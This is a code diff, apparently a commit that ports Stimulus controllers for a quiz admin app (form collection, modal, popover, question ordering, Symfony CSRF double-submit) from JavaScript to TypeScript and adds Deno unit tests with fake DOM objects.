item.innerHTML = this.prototypeValue.replace(
/__name__/g,
String(this.index),
);
const el = item.firstElementChild;
if (el) this.collectionTarget.appendChild(el);
this.index++;
this._syncOrdering();
}
removeItem(event: Event): void {
(event.target as HTMLElement).closest('[data-collection-item]')
?.remove();
this._notifyChange();
}
sortAlphabetically(): void {
const items = [...this.collectionTarget.children];
items.sort((a, b) => {
const textA =
(a.querySelector<HTMLInputElement>('input[type="text"]')
?.value ?? '').toLowerCase();
const textB =
(b.querySelector<HTMLInputElement>('input[type="text"]')
?.value ?? '').toLowerCase();
return textA.localeCompare(textB);
});
items.forEach((item) => this.collectionTarget.appendChild(item));
this._syncOrdering();
this._notifyChange();
}
randomize(): void {
const items = [...this.collectionTarget.children];
for (let i = items.length - 1; i > 0; i--) {
const j = Math.floor(Math.random() * (i + 1));
[items[i], items[j]] = [items[j], items[i]];
}
items.forEach((item) => this.collectionTarget.appendChild(item));
this._syncOrdering();
this._notifyChange();
}
autoExpand(event: Event): void {
const target = event.target as HTMLInputElement;
if (target.type !== 'text') return;
const item = target.closest('[data-collection-item]');
const last = [...this.collectionTarget.children].at(-1);
if (item && item === last && target.value.trim() !== '') {
this.addItem();
}
}
// — drag-and-drop —
dragStart(event: DragEvent): void {
this._dragging = (event.currentTarget as HTMLElement).closest(
'[data-collection-item]',
);
this._dragging?.classList.add('opacity-50');
event.dataTransfer!.effectAllowed = 'move';
}
dragEnd(event: DragEvent): void {
(event.currentTarget as HTMLElement).closest('[data-collection-item]')
?.classList.remove('opacity-50');
this._dragging = null;
this.collectionTarget.querySelectorAll('[data-collection-item]')
.forEach((i) =>
i.classList.remove(
'border-top',
'border-bottom',
'border-primary',
)
);
}
dragOver(event: DragEvent): void {
event.preventDefault();
const el = event.currentTarget as HTMLElement;
if (!this._dragging || this._dragging === el) return;
event.dataTransfer!.dropEffect = 'move';
const rect = el.getBoundingClientRect();
const isBottom = event.clientY > rect.top + rect.height / 2;
el.classList.toggle('border-top', !isBottom);
el.classList.toggle('border-bottom', isBottom);
el.classList.add('border-primary');
}
dragLeave(event: DragEvent): void {
(event.currentTarget as HTMLElement).classList.remove(
'border-top',
'border-bottom',
'border-primary',
);
}
drop(event: DragEvent): void {
event.preventDefault();
const el = event.currentTarget as HTMLElement;
el.classList.remove('border-top', 'border-bottom', 'border-primary');
if (!this._dragging || this._dragging === el) return;
const rect = el.getBoundingClientRect();
const isBottom = event.clientY > rect.top + rect.height / 2;
this.collectionTarget.insertBefore(
this._dragging,
isBottom ? el.nextSibling : el,
);
this._syncOrdering();
this._notifyChange();
}
_notifyChange(): void {
this.element.dispatchEvent(new Event('change', { bubbles: true }));
}
_syncOrdering(): void {
[...this.collectionTarget.children].forEach((el, i) => {
const input = el.querySelector<HTMLInputElement>(
'input[name*="[ordering]"]',
);
if (input) input.value = String(i);
});
}
}
@@ -0,0 +1,114 @@
import { assertEquals } from '@std/assert';
// Stimulus's Controller base class constructor only does `this.context = context`,
// and target getters are normally installed by Application.register — since we
// construct the controller directly (no real Stimulus app), collectionTarget/element
// are assigned here as plain writable properties, backed by a minimal fake DOM
// container that supports the one operation these methods actually rely on:
// appendChild() moving an existing child to the end (real DOM semantics).
class FakeInput {
value: string;
constructor(value = '') {
this.value = value;
}
}
class FakeItem {
textInput: FakeInput;
orderingInput = new FakeInput();
constructor(text: string) {
this.textInput = new FakeInput(text);
}
querySelector<T>(selector: string): T | null {
if (selector.includes('type="text"')) {
return this.textInput as unknown as T;
}
if (selector.includes('ordering')) {
return this.orderingInput as unknown as T;
}
return null;
}
}
class FakeCollection {
children: FakeItem[] = [];
appendChild(item: FakeItem) {
const idx = this.children.indexOf(item);
if (idx !== -1) this.children.splice(idx, 1);
this.children.push(item);
}
}
const { default: FormCollectionController } = await import(
'./form_collection_controller.ts'
);
// deno-lint-ignore no-explicit-any
function makeController(items: FakeItem[]): any {
const collectionTarget = new FakeCollection();
collectionTarget.children = items;
// `element` is a read-only getter on Controller (delegates to `this.scope.element`),
// so the fake element is supplied via the constructor context rather than assigned.
const controller = new FormCollectionController({
scope: { element: { dispatchEvent: () => true } },
} as never);
return Object.assign(controller, { collectionTarget });
}
Deno.test("_syncOrdering writes the current index into each item's ordering input", () => {
const items = [new FakeItem('c'), new FakeItem('a'), new FakeItem('b')];
const controller = makeController(items);
controller._syncOrdering();
assertEquals(items.map((i) => i.orderingInput.value), ['0', '1', '2']);
});
Deno.test('sortAlphabetically reorders items by their text input value, case-insensitively', () => {
const c = new FakeItem('Charlie');
const a = new FakeItem('alice');
const b = new FakeItem('Bob');
const controller = makeController([c, a, b]);
controller.sortAlphabetically();
assertEquals(
controller.collectionTarget.children.map((i: FakeItem) =>
i.textInput.value
),
['alice', 'Bob', 'Charlie'],
);
// _syncOrdering must run after the reorder, against the new order
assertEquals(
controller.collectionTarget.children.map((i: FakeItem) =>
i.orderingInput.value
),
['0', '1', '2'],
);
});
Deno.test('randomize keeps the same set of items and resyncs ordering', () => {
const items = [
new FakeItem('1'),
new FakeItem('2'),
new FakeItem('3'),
new FakeItem('4'),
];
const controller = makeController([...items]);
controller.randomize();
const resultValues = controller.collectionTarget.children.map((
i: FakeItem,
) => i.textInput.value);
assertEquals(resultValues.slice().sort(), ['1', '2', '3', '4']);
assertEquals(
controller.collectionTarget.children.map((i: FakeItem) =>
i.orderingInput.value
),
['0', '1', '2', '3'],
);
});
-49
View File
@@ -1,49 +0,0 @@
import {Controller} from '@hotwired/stimulus';
import {Modal} from 'bootstrap';
import {visit} from '@hotwired/turbo';
export default class extends Controller {
static targets = ['modal', 'frame'];
open(event) {
event.preventDefault();
const {src, modalTitle} = event.currentTarget.dataset;
if (modalTitle) {
const titleEl = this.modalTarget.querySelector('.modal-title');
if (titleEl) titleEl.textContent = modalTitle;
}
this.resetDirty();
this.frameTarget.innerHTML = '<div class="modal-body text-center py-4"><div class="spinner-border" role="status"></div></div>';
this.frameTarget.removeAttribute('src');
this.frameTarget.setAttribute('src', src);
Modal.getOrCreateInstance(this.modalTarget).show();
}
frameSubmitEnd(event) {
if (event.detail.success) {
Modal.getOrCreateInstance(this.modalTarget).hide();
visit(window.location.href);
}
}
markDirty() {
if (this._dirty) return;
this._dirty = true;
// Using _config instead of preventDefault on hide.bs.modal because we need
// to block only user-triggered dismissal (backdrop click, Escape key) while
// keeping programmatic hide() working — frameSubmitEnd() calls hide() after
// a successful save and must not be blocked. _config.backdrop/keyboard is
// the correct primitive for that distinction and has been stable across all
// Bootstrap 5.x releases.
const modal = Modal.getOrCreateInstance(this.modalTarget);
modal._config.backdrop = 'static';
modal._config.keyboard = false;
}
resetDirty() {
this._dirty = false;
const modal = Modal.getOrCreateInstance(this.modalTarget);
modal._config.backdrop = true;
modal._config.keyboard = true;
}
}
+66
View File
@@ -0,0 +1,66 @@
import { Controller } from '@hotwired/stimulus';
import { Modal } from 'bootstrap';
import { visit } from '@hotwired/turbo';
// Bootstrap's public Modal type doesn't expose `_config` (an internal, but stable, field
// across all 5.x releases) — extend it locally rather than casting to `any` everywhere.
interface ModalWithConfig extends Modal {
_config: { backdrop: boolean | 'static'; keyboard: boolean };
}
export default class extends Controller {
static targets = ['modal', 'frame'];
declare readonly modalTarget: HTMLElement;
declare readonly frameTarget: HTMLElement;
_dirty = false;
open(event: MouseEvent): void {
event.preventDefault();
const { src, modalTitle } =
(event.currentTarget as HTMLElement).dataset;
if (modalTitle) {
const titleEl = this.modalTarget.querySelector('.modal-title');
if (titleEl) titleEl.textContent = modalTitle;
}
this.resetDirty();
this.frameTarget.innerHTML =
'<div class="modal-body text-center py-4"><div class="spinner-border" role="status"></div></div>';
this.frameTarget.removeAttribute('src');
if (src) this.frameTarget.setAttribute('src', src);
Modal.getOrCreateInstance(this.modalTarget).show();
}
frameSubmitEnd(event: CustomEvent<{ success: boolean }>): void {
if (event.detail.success) {
Modal.getOrCreateInstance(this.modalTarget).hide();
visit(window.location.href);
}
}
markDirty(): void {
if (this._dirty) return;
this._dirty = true;
// Using _config instead of preventDefault on hide.bs.modal because we need
// to block only user-triggered dismissal (backdrop click, Escape key) while
// keeping programmatic hide() working — frameSubmitEnd() calls hide() after
// a successful save and must not be blocked. _config.backdrop/keyboard is
// the correct primitive for that distinction and has been stable across all
// Bootstrap 5.x releases.
const modal = Modal.getOrCreateInstance(
this.modalTarget,
) as ModalWithConfig;
modal._config.backdrop = 'static';
modal._config.keyboard = false;
}
resetDirty(): void {
this._dirty = false;
const modal = Modal.getOrCreateInstance(
this.modalTarget,
) as ModalWithConfig;
modal._config.backdrop = true;
modal._config.keyboard = true;
}
}
@@ -1,13 +0,0 @@
import {Controller} from '@hotwired/stimulus';
import {Popover} from 'bootstrap';
export default class extends Controller {
connect() {
this.popovers = [...this.element.querySelectorAll('[data-bs-toggle="popover"]')]
.map(popoverTriggerEl => Popover.getOrCreateInstance(popoverTriggerEl));
}
disconnect() {
this.popovers.forEach(popover => popover.dispose());
}
}
@@ -0,0 +1,19 @@
import { Controller } from '@hotwired/stimulus';
import { Popover } from 'bootstrap';
export default class extends Controller {
popovers: Popover[] = [];
connect(): void {
this.popovers = [
...this.element.querySelectorAll('[data-bs-toggle="popover"]'),
]
.map((popoverTriggerEl) =>
Popover.getOrCreateInstance(popoverTriggerEl)
);
}
disconnect(): void {
this.popovers.forEach((popover) => popover.dispose());
}
}
@@ -1,123 +0,0 @@
import {Controller} from '@hotwired/stimulus';
export default class extends Controller {
static targets = ['list', 'item', 'status'];
static values = {
reorderUrl: String,
csrf: String,
savedLabel: String,
errorLabel: String,
errorHint: String,
};
connect() {
this._locked = false;
}
dragStart(event) {
const item = event.currentTarget.closest('[data-bo--question-list-target="item"]');
this._dragging = item;
event.dataTransfer.effectAllowed = 'move';
setTimeout(() => item.classList.add('opacity-50'), 0);
}
dragEnd(event) {
const item = event.currentTarget.closest('[data-bo--question-list-target="item"]');
item.classList.remove('opacity-50');
this._dragging = null;
this._removePlaceholder();
}
dragOver(event) {
event.preventDefault();
if (!this._dragging) return;
event.dataTransfer.dropEffect = 'move';
const target = event.target.closest('[data-bo--question-list-target="item"]');
if (!target || target === this._dragging) return;
const rect = target.getBoundingClientRect();
const insertBefore = event.clientY > rect.top + rect.height / 2 ? target.nextSibling : target;
if (!this._placeholder) {
this._placeholder = document.createElement('div');
this._placeholder.className = 'bg-primary rounded mb-2';
this._placeholder.style.height = '3px';
}
if (this._placeholder.nextSibling !== insertBefore) {
this.listTarget.insertBefore(this._placeholder, insertBefore);
}
}
dragLeave(event) {
if (!event.relatedTarget || !this.listTarget.contains(event.relatedTarget)) {
this._removePlaceholder();
}
}
async drop(event) {
event.preventDefault();
if (!this._dragging || !this._placeholder || this._locked) return;
this.listTarget.insertBefore(this._dragging, this._placeholder);
this._removePlaceholder();
await this._persistOrder();
}
_removePlaceholder() {
if (this._placeholder) {
this._placeholder.remove();
this._placeholder = null;
}
}
_setStatus(state) {
if (!this.hasStatusTarget) return;
const el = this.statusTarget;
el.classList.remove('d-none', 'text-bg-success', 'text-bg-danger', 'text-bg-warning');
if (state === 'saving') {
el.classList.add('text-bg-warning');
el.textContent = '…';
} else if (state === 'saved') {
el.classList.add('text-bg-success');
el.textContent = this.savedLabelValue || 'Saved';
} else if (state === 'error') {
el.classList.add('text-bg-danger');
el.textContent = this.errorLabelValue || 'Error';
}
}
async _persistOrder() {
this._setStatus('saving');
const params = new URLSearchParams();
params.append('_token', this.csrfValue);
this.itemTargets.forEach((el, i) => {
params.append('ordering[]', el.dataset.questionId);
const numberEl = el.querySelector('[data-question-number]');
if (numberEl) numberEl.textContent = String(i + 1);
});
for (let attempt = 0; attempt < 2; attempt++) {
try {
const res = await fetch(this.reorderUrlValue, {method: 'POST', body: params});
if (res.ok) {
this._setStatus('saved');
return;
}
} catch {
// network error — retry on first attempt
}
}
this._locked = true;
this._setStatus('error');
const alert = document.createElement('div');
alert.className = 'alert alert-danger alert-dismissible mt-3';
alert.setAttribute('role', 'alert');
const hint = this.errorHintValue || 'Refresh the page to try again.';
alert.innerHTML = `${this.errorLabelValue || 'Error saving order'} &mdash; ${hint} <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>`;
this.listTarget.after(alert);
}
}
@@ -0,0 +1,161 @@
import { Controller } from '@hotwired/stimulus';
type Status = 'saving' | 'saved' | 'error';
export default class extends Controller {
static targets = ['list', 'item', 'status'];
static values = {
reorderUrl: String,
csrf: String,
savedLabel: String,
errorLabel: String,
errorHint: String,
};
declare readonly listTarget: HTMLElement;
declare readonly itemTargets: HTMLElement[];
declare readonly statusTarget: HTMLElement;
declare readonly hasStatusTarget: boolean;
declare readonly reorderUrlValue: string;
declare readonly csrfValue: string;
declare readonly savedLabelValue: string;
declare readonly errorLabelValue: string;
declare readonly errorHintValue: string;
_locked = false;
_dragging: HTMLElement | null = null;
_placeholder: HTMLDivElement | null = null;
connect(): void {
this._locked = false;
}
dragStart(event: DragEvent): void {
const item = (event.currentTarget as HTMLElement).closest<HTMLElement>(
'[data-bo--question-list-target="item"]',
);
this._dragging = item;
event.dataTransfer!.effectAllowed = 'move';
setTimeout(() => item?.classList.add('opacity-50'), 0);
}
dragEnd(event: DragEvent): void {
const item = (event.currentTarget as HTMLElement).closest<HTMLElement>(
'[data-bo--question-list-target="item"]',
);
item?.classList.remove('opacity-50');
this._dragging = null;
this._removePlaceholder();
}
dragOver(event: DragEvent): void {
event.preventDefault();
if (!this._dragging) return;
event.dataTransfer!.dropEffect = 'move';
const target = (event.target as HTMLElement).closest<HTMLElement>(
'[data-bo--question-list-target="item"]',
);
if (!target || target === this._dragging) return;
const rect = target.getBoundingClientRect();
const insertBefore = event.clientY > rect.top + rect.height / 2
? target.nextSibling
: target;
if (!this._placeholder) {
this._placeholder = document.createElement('div');
this._placeholder.className = 'bg-primary rounded mb-2';
this._placeholder.style.height = '3px';
}
if (this._placeholder.nextSibling !== insertBefore) {
this.listTarget.insertBefore(this._placeholder, insertBefore);
}
}
dragLeave(event: DragEvent): void {
if (
!event.relatedTarget ||
!this.listTarget.contains(event.relatedTarget as Node)
) {
this._removePlaceholder();
}
}
async drop(event: DragEvent): Promise<void> {
event.preventDefault();
if (!this._dragging || !this._placeholder || this._locked) return;
this.listTarget.insertBefore(this._dragging, this._placeholder);
this._removePlaceholder();
await this._persistOrder();
}
_removePlaceholder(): void {
if (this._placeholder) {
this._placeholder.remove();
this._placeholder = null;
}
}
_setStatus(state: Status): void {
if (!this.hasStatusTarget) return;
const el = this.statusTarget;
el.classList.remove(
'd-none',
'text-bg-success',
'text-bg-danger',
'text-bg-warning',
);
if (state === 'saving') {
el.classList.add('text-bg-warning');
el.textContent = '…';
} else if (state === 'saved') {
el.classList.add('text-bg-success');
el.textContent = this.savedLabelValue || 'Saved';
} else if (state === 'error') {
el.classList.add('text-bg-danger');
el.textContent = this.errorLabelValue || 'Error';
}
}
async _persistOrder(): Promise<void> {
this._setStatus('saving');
const params = new URLSearchParams();
params.append('_token', this.csrfValue);
this.itemTargets.forEach((el, i) => {
params.append('ordering[]', el.dataset.questionId ?? '');
const numberEl = el.querySelector('[data-question-number]');
if (numberEl) numberEl.textContent = String(i + 1);
});
for (let attempt = 0; attempt < 2; attempt++) {
try {
const res = await fetch(this.reorderUrlValue, {
method: 'POST',
body: params,
});
if (res.ok) {
this._setStatus('saved');
return;
}
} catch {
// network error — retry on first attempt
}
}
this._locked = true;
this._setStatus('error');
const alert = document.createElement('div');
alert.className = 'alert alert-danger alert-dismissible mt-3';
alert.setAttribute('role', 'alert');
const hint = this.errorHintValue || 'Refresh the page to try again.';
alert.innerHTML = `${
this.errorLabelValue || 'Error saving order'
} &mdash; ${hint} <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>`;
this.listTarget.after(alert);
}
}
@@ -0,0 +1,140 @@
import { assertEquals } from '@std/assert';
// Stimulus's Controller base class constructor only does `this.context = context`,
// and target/value getters (listTarget, csrfValue, ...) are normally installed by
// Application.register — since we construct the controller directly (no real
// Stimulus app), they're assigned here as plain writable properties instead.
class FakeClassList {
classes = new Set<string>();
add(...names: string[]) {
names.forEach((n) => this.classes.add(n));
}
remove(...names: string[]) {
names.forEach((n) => this.classes.delete(n));
}
contains(name: string) {
return this.classes.has(name);
}
}
function fakeElement() {
return {
classList: new FakeClassList(),
textContent: '',
after: () => {},
setAttribute: () => {},
};
}
// deno-lint-ignore no-explicit-any
(globalThis as any).document = {
createElement: () => ({
...fakeElement(),
innerHTML: '',
}),
};
const { default: QuestionListController } = await import(
'./question_list_controller.ts'
);
// deno-lint-ignore no-explicit-any
function makeController(overrides: Record<string, unknown> = {}): any {
const controller = new QuestionListController({} as never);
return Object.assign(controller, {
listTarget: fakeElement(),
itemTargets: [],
hasStatusTarget: true,
statusTarget: fakeElement(),
csrfValue: 'csrf-token',
reorderUrlValue: '/reorder',
savedLabelValue: 'Saved',
errorLabelValue: 'Error',
errorHintValue: 'Refresh the page.',
...overrides,
});
}
Deno.test('_setStatus renders the saving state', () => {
const controller = makeController();
controller._setStatus('saving');
assertEquals(
controller.statusTarget.classList.contains('text-bg-warning'),
true,
);
assertEquals(controller.statusTarget.textContent, '…');
});
Deno.test('_setStatus renders the saved state with the configured label', () => {
const controller = makeController();
controller._setStatus('saved');
assertEquals(
controller.statusTarget.classList.contains('text-bg-success'),
true,
);
assertEquals(controller.statusTarget.textContent, 'Saved');
});
Deno.test('_setStatus is a no-op when there is no status target', () => {
const controller = makeController({ hasStatusTarget: false });
controller._setStatus('saving');
assertEquals(controller.statusTarget.textContent, '');
});
Deno.test('_persistOrder posts the item ordering and reports success', async () => {
const numberEl = { textContent: '' };
const item = {
dataset: { questionId: '42' },
querySelector: () => numberEl,
};
const controller = makeController({ itemTargets: [item] });
let requestBody: URLSearchParams | undefined;
globalThis.fetch = ((_url: string, init: RequestInit) => {
requestBody = init.body as URLSearchParams;
return Promise.resolve({ ok: true } as Response);
}) as typeof fetch;
await controller._persistOrder();
assertEquals(controller._locked, false);
assertEquals(
controller.statusTarget.classList.contains('text-bg-success'),
true,
);
assertEquals(numberEl.textContent, '1');
assertEquals(requestBody?.get('_token'), 'csrf-token');
assertEquals(requestBody?.get('ordering[]'), '42');
});
Deno.test('_persistOrder retries once, then locks and shows an error after repeated failure', async () => {
const controller = makeController();
let calls = 0;
globalThis.fetch = (() => {
calls++;
return Promise.resolve({ ok: false } as Response);
}) as typeof fetch;
await controller._persistOrder();
assertEquals(calls, 2);
assertEquals(controller._locked, true);
assertEquals(
controller.statusTarget.classList.contains('text-bg-danger'),
true,
);
});
Deno.test('_persistOrder treats a network error the same as a failed response', async () => {
const controller = makeController();
globalThis.fetch =
(() => Promise.reject(new Error('network down'))) as typeof fetch;
await controller._persistOrder();
assertEquals(controller._locked, true);
assertEquals(
controller.statusTarget.classList.contains('text-bg-danger'),
true,
);
});
-28
View File
@@ -1,28 +0,0 @@
import {Controller} from '@hotwired/stimulus';
import {Tooltip, Modal} from 'bootstrap';
export default class extends Controller {
static targets = ['clearModal', 'deleteModal'];
connect() {
this.tooltips = [];
const tooltipTriggerList = this.element.querySelectorAll('[data-bs-toggle="tooltip"]');
[...tooltipTriggerList].forEach(tooltipTriggerEl => {
this.tooltips.push(Tooltip.getOrCreateInstance(tooltipTriggerEl));
});
}
disconnect() {
this.tooltips.forEach(tooltip => tooltip.dispose());
}
clearQuiz() {
const modal = Modal.getOrCreateInstance(this.clearModalTarget);
modal.show();
}
deleteQuiz() {
const modal = Modal.getOrCreateInstance(this.deleteModalTarget);
modal.show();
}
}
+35
View File
@@ -0,0 +1,35 @@
import { Controller } from '@hotwired/stimulus';
import { Modal, Tooltip } from 'bootstrap';
export default class extends Controller {
static targets = ['clearModal', 'deleteModal'];
declare readonly clearModalTarget: HTMLElement;
declare readonly deleteModalTarget: HTMLElement;
tooltips: Tooltip[] = [];
connect(): void {
this.tooltips = [];
const tooltipTriggerList = this.element.querySelectorAll(
'[data-bs-toggle="tooltip"]',
);
[...tooltipTriggerList].forEach((tooltipTriggerEl) => {
this.tooltips.push(Tooltip.getOrCreateInstance(tooltipTriggerEl));
});
}
disconnect(): void {
this.tooltips.forEach((tooltip) => tooltip.dispose());
}
clearQuiz(): void {
const modal = Modal.getOrCreateInstance(this.clearModalTarget);
modal.show();
}
deleteQuiz(): void {
const modal = Modal.getOrCreateInstance(this.deleteModalTarget);
modal.show();
}
}
@@ -1,81 +0,0 @@
const nameCheck = /^[-_a-zA-Z0-9]{4,22}$/;
const tokenCheck = /^[-_/+a-zA-Z0-9]{24,}$/;
// Generate and double-submit a CSRF token in a form field and a cookie, as defined by Symfony's SameOriginCsrfTokenManager
// Use `form.requestSubmit()` to ensure that the submit event is triggered. Using `form.submit()` will not trigger the event
// and thus this event-listener will not be executed.
document.addEventListener('submit', function (event) {
generateCsrfToken(event.target);
}, true);
// When @hotwired/turbo handles form submissions, send the CSRF token in a header in addition to a cookie
// The `framework.csrf_protection.check_header` config option needs to be enabled for the header to be checked
document.addEventListener('turbo:submit-start', function (event) {
const h = generateCsrfHeaders(event.detail.formSubmission.formElement);
Object.keys(h).map(function (k) {
event.detail.formSubmission.fetchRequest.headers[k] = h[k];
});
});
// When @hotwired/turbo handles form submissions, remove the CSRF cookie once a form has been submitted
document.addEventListener('turbo:submit-end', function (event) {
removeCsrfToken(event.detail.formSubmission.formElement);
});
export function generateCsrfToken (formElement) {
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
if (!csrfField) {
return;
}
let csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
let csrfToken = csrfField.value;
if (!csrfCookie && nameCheck.test(csrfToken)) {
csrfField.setAttribute('data-csrf-protection-cookie-value', csrfCookie = csrfToken);
csrfField.defaultValue = csrfToken = btoa(String.fromCharCode.apply(null, (window.crypto || window.msCrypto).getRandomValues(new Uint8Array(18))));
}
csrfField.dispatchEvent(new Event('change', { bubbles: true }));
if (csrfCookie && tokenCheck.test(csrfToken)) {
const cookie = csrfCookie + '_' + csrfToken + '=' + csrfCookie + '; path=/; samesite=strict';
document.cookie = window.location.protocol === 'https:' ? '__Host-' + cookie + '; secure' : cookie;
}
}
export function generateCsrfHeaders (formElement) {
const headers = {};
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
if (!csrfField) {
return headers;
}
const csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
if (tokenCheck.test(csrfField.value) && nameCheck.test(csrfCookie)) {
headers[csrfCookie] = csrfField.value;
}
return headers;
}
export function removeCsrfToken (formElement) {
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
if (!csrfField) {
return;
}
const csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
if (tokenCheck.test(csrfField.value) && nameCheck.test(csrfCookie)) {
const cookie = csrfCookie + '_' + csrfField.value + '=0; path=/; samesite=strict; max-age=0';
document.cookie = window.location.protocol === 'https:' ? '__Host-' + cookie + '; secure' : cookie;
}
}
/* stimulusFetch: 'lazy' */
export default 'csrf-protection-controller';
@@ -0,0 +1,129 @@
const nameCheck = /^[-_a-zA-Z0-9]{4,22}$/;
const tokenCheck = /^[-_/+a-zA-Z0-9]{24,}$/;
interface TurboSubmitEventDetail {
formSubmission: {
formElement: HTMLFormElement;
fetchRequest: { headers: Record<string, string> };
};
}
const CSRF_FIELD_SELECTOR =
'input[data-controller="csrf-protection"], input[name="_csrf_token"]';
// Generate and double-submit a CSRF token in a form field and a cookie, as defined by Symfony's SameOriginCsrfTokenManager
// Use `form.requestSubmit()` to ensure that the submit event is triggered. Using `form.submit()` will not trigger the event
// and thus this event-listener will not be executed.
document.addEventListener('submit', function (event) {
generateCsrfToken(event.target as HTMLFormElement);
}, true);
// When @hotwired/turbo handles form submissions, send the CSRF token in a header in addition to a cookie
// The `framework.csrf_protection.check_header` config option needs to be enabled for the header to be checked
document.addEventListener('turbo:submit-start', function (event) {
const detail = (event as CustomEvent<TurboSubmitEventDetail>).detail;
const h = generateCsrfHeaders(detail.formSubmission.formElement);
Object.keys(h).forEach(function (k) {
detail.formSubmission.fetchRequest.headers[k] = h[k];
});
});
// When @hotwired/turbo handles form submissions, remove the CSRF cookie once a form has been submitted
document.addEventListener('turbo:submit-end', function (event) {
const detail = (event as CustomEvent<TurboSubmitEventDetail>).detail;
removeCsrfToken(detail.formSubmission.formElement);
});
export function generateCsrfToken(formElement: HTMLFormElement): void {
const csrfField = formElement.querySelector<HTMLInputElement>(
CSRF_FIELD_SELECTOR,
);
if (!csrfField) {
return;
}
let csrfCookie = csrfField.getAttribute(
'data-csrf-protection-cookie-value',
);
let csrfToken = csrfField.value;
if (!csrfCookie && nameCheck.test(csrfToken)) {
csrfField.setAttribute(
'data-csrf-protection-cookie-value',
csrfCookie = csrfToken,
);
csrfField.defaultValue = csrfToken = btoa(
String.fromCharCode.apply(
null,
Array.from(
(window.crypto ||
(window as unknown as { msCrypto: Crypto }).msCrypto)
.getRandomValues(new Uint8Array(18)),
),
),
);
}
csrfField.dispatchEvent(new Event('change', { bubbles: true }));
if (csrfCookie && tokenCheck.test(csrfToken)) {
const cookie = csrfCookie + '_' + csrfToken + '=' + csrfCookie +
'; path=/; samesite=strict';
document.cookie = window.location.protocol === 'https:'
? '__Host-' + cookie + '; secure'
: cookie;
}
}
export function generateCsrfHeaders(
formElement: HTMLFormElement,
): Record<string, string> {
const headers: Record<string, string> = {};
const csrfField = formElement.querySelector<HTMLInputElement>(
CSRF_FIELD_SELECTOR,
);
if (!csrfField) {
return headers;
}
const csrfCookie = csrfField.getAttribute(
'data-csrf-protection-cookie-value',
);
if (
tokenCheck.test(csrfField.value) && nameCheck.test(String(csrfCookie))
) {
headers[String(csrfCookie)] = csrfField.value;
}
return headers;
}
export function removeCsrfToken(formElement: HTMLFormElement): void {
const csrfField = formElement.querySelector<HTMLInputElement>(
CSRF_FIELD_SELECTOR,
);
if (!csrfField) {
return;
}
const csrfCookie = csrfField.getAttribute(
'data-csrf-protection-cookie-value',
);
if (
tokenCheck.test(csrfField.value) && nameCheck.test(String(csrfCookie))
) {
const cookie = String(csrfCookie) + '_' + csrfField.value +
'=0; path=/; samesite=strict; max-age=0';
document.cookie = window.location.protocol === 'https:'
? '__Host-' + cookie + '; secure'
: cookie;
}
}
/* stimulusFetch: 'lazy' */
export default 'csrf-protection-controller';
@@ -0,0 +1,119 @@
import { assertEquals, assertMatch } from '@std/assert';
// The module under test registers `document.addEventListener(...)` calls at
// import time and reads `window.location`/`window.crypto`, so a minimal
// `document`/`window` stub must exist in the global scope *before* the module
// is imported. Deno has no browser DOM, and the actual surface these
// functions touch on a form/input is narrow (getAttribute/setAttribute/value/
// dispatchEvent), so hand-built fakes are used instead of a full DOM polyfill.
let cookieJar = '';
// deno-lint-ignore no-explicit-any
(globalThis as any).document = {
addEventListener: () => {},
get cookie() {
return cookieJar;
},
set cookie(value: string) {
cookieJar += (cookieJar ? '; ' : '') + value;
},
};
// deno-lint-ignore no-explicit-any
(globalThis as any).window = {
location: { protocol: 'http:' },
crypto: globalThis.crypto,
};
const { generateCsrfHeaders, generateCsrfToken, removeCsrfToken } =
await import(
'./csrf_protection_controller.ts'
);
function fakeField(attributes: Record<string, string> = {}, value = '') {
const store = new Map(Object.entries(attributes));
return {
getAttribute: (name: string) => store.get(name) ?? null,
setAttribute: (name: string, val: string) => {
store.set(name, val);
},
value,
defaultValue: value,
dispatchEvent: () => true,
};
}
// deno-lint-ignore no-explicit-any
function fakeForm(field: ReturnType<typeof fakeField> | null): any {
return { querySelector: () => field };
}
Deno.test('generateCsrfToken does nothing when the form has no csrf field', () => {
cookieJar = '';
generateCsrfToken(fakeForm(null));
assertEquals(cookieJar, '');
});
Deno.test('generateCsrfToken generates a token and cookie on first use', () => {
cookieJar = '';
const field = fakeField({}, 'my_field_name');
generateCsrfToken(fakeForm(field));
assertEquals(
field.getAttribute('data-csrf-protection-cookie-value'),
'my_field_name',
);
assertMatch(field.defaultValue, /^[-_/+a-zA-Z0-9]{24,}$/);
assertMatch(cookieJar, /my_field_name_[-_/+a-zA-Z0-9]{24,}=my_field_name/);
});
Deno.test('generateCsrfToken keeps an existing valid token/cookie pair unchanged', () => {
cookieJar = '';
const token = 'a'.repeat(24);
const field = fakeField({
'data-csrf-protection-cookie-value': 'existing_name',
}, token);
generateCsrfToken(fakeForm(field));
assertEquals(field.value, token);
assertMatch(cookieJar, new RegExp(`existing_name_${token}=existing_name`));
});
Deno.test('generateCsrfHeaders returns empty headers without a csrf field', () => {
assertEquals(generateCsrfHeaders(fakeForm(null)), {});
});
Deno.test('generateCsrfHeaders returns the cookie-name/token header when both are valid', () => {
const token = 'b'.repeat(24);
const field = fakeField({
'data-csrf-protection-cookie-value': 'field_name',
}, token);
assertEquals(generateCsrfHeaders(fakeForm(field)), { field_name: token });
});
Deno.test('generateCsrfHeaders omits the header when the token is too short', () => {
const field = fakeField({
'data-csrf-protection-cookie-value': 'field_name',
}, 'too-short');
assertEquals(generateCsrfHeaders(fakeForm(field)), {});
});
Deno.test('removeCsrfToken expires the cookie for a valid token/cookie pair', () => {
cookieJar = '';
const token = 'c'.repeat(24);
const field = fakeField({
'data-csrf-protection-cookie-value': 'field_name',
}, token);
removeCsrfToken(fakeForm(field));
assertMatch(cookieJar, new RegExp(`field_name_${token}=0`));
});
Deno.test('removeCsrfToken does nothing without a csrf field', () => {
cookieJar = '';
removeCsrfToken(fakeForm(null));
assertEquals(cookieJar, '');
});
@@ -1,14 +0,0 @@
import {Controller} from '@hotwired/stimulus';
export default class extends Controller {
next() {
const currentUrl = new URL(window.location.href);
const pathParts = currentUrl.pathname.split('/');
// Remove the last segment
pathParts.pop();
